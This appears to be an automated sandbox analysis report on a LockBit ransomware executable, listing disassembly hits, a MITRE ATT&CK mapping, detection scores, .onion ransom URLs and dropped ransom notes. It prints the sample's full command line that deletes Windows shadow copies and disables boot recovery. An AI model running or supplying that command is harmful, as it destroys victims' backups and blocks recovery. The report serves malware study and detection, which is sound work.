Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00418A90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004182A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004292A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411AB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004162B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415B40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DC340 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00413B50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BDB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BDB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BDB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004ACB00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004ACB00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417B10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004133C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC3E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC3E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC3E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC3E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417380 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2B80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2B80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2B80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC380 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC380 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC380 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D7B80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00419B90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429390 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D8B90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041ABA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD3B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD3B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD3B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00418440 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C6C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C6C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C6C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C6C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415400 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411C20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00418C20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C3430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C3430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C3430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429CC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004194D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E04D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E04D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E04D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004114E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004154F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00416480 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429480 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042A480 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00450480 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 10_2_004162B0 LdrEnumerateLoadedModules,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_004BB140 GetTokenInformation,GetTokenInformation,NtClose,AllocateAndInitializeSid,EqualSid,FreeSid,

Source: ppklite.api.lockbit.0.dr	Binary or memory string: Progman
Source: ppklite.api.lockbit.0.dr	Binary or memory string: MicrosoftIRMServicesProgmanDigSig:Server NotificationAform:Server Notification>><<dialogTitleinfoURLlchostNameidphostNamecachingEnabledtrackingEnabledtrackingDefaultcontrolWidthcontrolHeightstaticPanelWidthmarginreturnCodecachingConfirmedtrackingConfirmedcookieString

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_0042A9D0 cpuid

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_0044C150 PathAppendW,PathAppendW,CreateFileW,GetSystemTime,wsprintfW,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 10_2_0044D8D0 PathAppendW,PathAppendW,GetVersion,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_004A7F10 socket,socket,bind,bind,CreateEventW,NtSetInformationFile,htons,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	12 Process Injection	12 Masquerading	OS Credential Dumping	1 Network Share Discovery	1 Taint Shared Content	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	2 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	1 System Time Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Inhibit System Recovery
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Proxy	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	21 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	11 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 File and Directory Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	16 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pna3t7DeL3.exe	96%	ReversingLabs	Win32.Trojan.DelShad
Pna3t7DeL3.exe	78%	Virustotal		Browse
Pna3t7DeL3.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.Pna3t7DeL3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.3.Pna3t7DeL3.exe.4940000.0.unpack	100%	Avira	HEUR/AGEN.1230490	Download File
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.Pna3t7DeL3.exe.4910e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.Pna3t7DeL3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.Pna3t7DeL3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.Pna3t7DeL3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.2.Pna3t7DeL3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion	0%	URL Reputation	safe
https://tox.chat/download.html	0%	URL Reputation	safe
https://tox.chat/download.htmlUsing	0%	Virustotal		Browse
https://tox.chat/download.htmlUsing	0%	Avira URL Cloud	safe
http://tempuri.org/ns3.xsd	0%	Avira URL Cloud	safe
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.o	0%	Avira URL Cloud	safe
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion	100%	Avira URL Cloud	malware
https://bigblog.at	100%	Avira URL Cloud	malware
http://tempuri.org/ns3.xsd	2%	Virustotal		Browse
https://bigblog.at	12%	Virustotal		Browse
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/b	0%	Avira URL Cloud	safe
https://www.google.com.tw/intl/zh-TW/chrome/browser/	0%	Avira URL Cloud	safe
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Upload/	0%	Avira URL Cloud	safe
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/	0%	Avira URL Cloud	safe
http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion	100%	Avira URL Cloud	malware
http://...............Acrobat	0%	Avira URL Cloud	safe
https://decoding.at	100%	Avira URL Cloud	malware

Name	Source	Malicious	Antivirus Detection	Reputation
http://a9.com/-/spec/opensearchrss/1.0/:itemsPerPagehttp://a9.com/-/spec/opensearchrss/1.0/:startInd	annots.api.lockbit.0.dr	false		high
http://tempuri.org/ns3.xsd	ppklite.api.lockbit.0.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	annots.api.lockbit.0.dr, ppklite.api.lockbit.0.dr	false		high
https://tox.chat/download.htmlUsing	Pna3t7DeL3.exe, 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bigblog.at	Pna3t7DeL3.exe, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	annots.api.lockbit.0.dr, ppklite.api.lockbit.0.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText	ppklite.api.lockbit.0.dr	false		high
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion	Pna3t7DeL3.exe, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	true	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/:root	annots.api.lockbit.0.dr	false		high
http://www.docs.oasis-open.org/dss/oasis-dss-1.0-core-schema-cd-02.xsd	ppklite.api.lockbit.0.dr	false		high
http://www.yahooapis.com/v1/base.rng:uri	annots.api.lockbit.0.dr	false		high
http://schemas.google.com/g/2005:email	annots.api.lockbit.0.dr	false		high
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.o	Pna3t7DeL3.exe, 00000000.00000002.513565220.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion	Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	true	Avira URL Cloud: malware	unknown
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/b	Pna3t7DeL3.exe, 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
http://a9.com/-/spec/opensearchrss/1.0/:itemsPerPage	annots.api.lockbit.0.dr	false		high
https://api.echosign.com	annots.api.lockbit.0.dr	false		high
https://www.google.com.tw/intl/zh-TW/chrome/browser/	ui-strings.js.lockbit31.0.dr	false	Avira URL Cloud: safe	unknown
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Upload/	annots.api.lockbit.0.dr	false	Avira URL Cloud: safe	low
https://www.google.com/intl/en/chrome/browser/	ui-strings.js.lockbit37.0.dr	false		high
http://a9.com/-/spec/opensearchrss/1.0/:startIndex	annots.api.lockbit.0.dr	false		high
https://www.google.com/intl/it/chrome/browser/	ui-strings.js.lockbit1.0.dr	false		high
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/	annots.api.lockbit.0.dr	false	Avira URL Cloud: safe	low
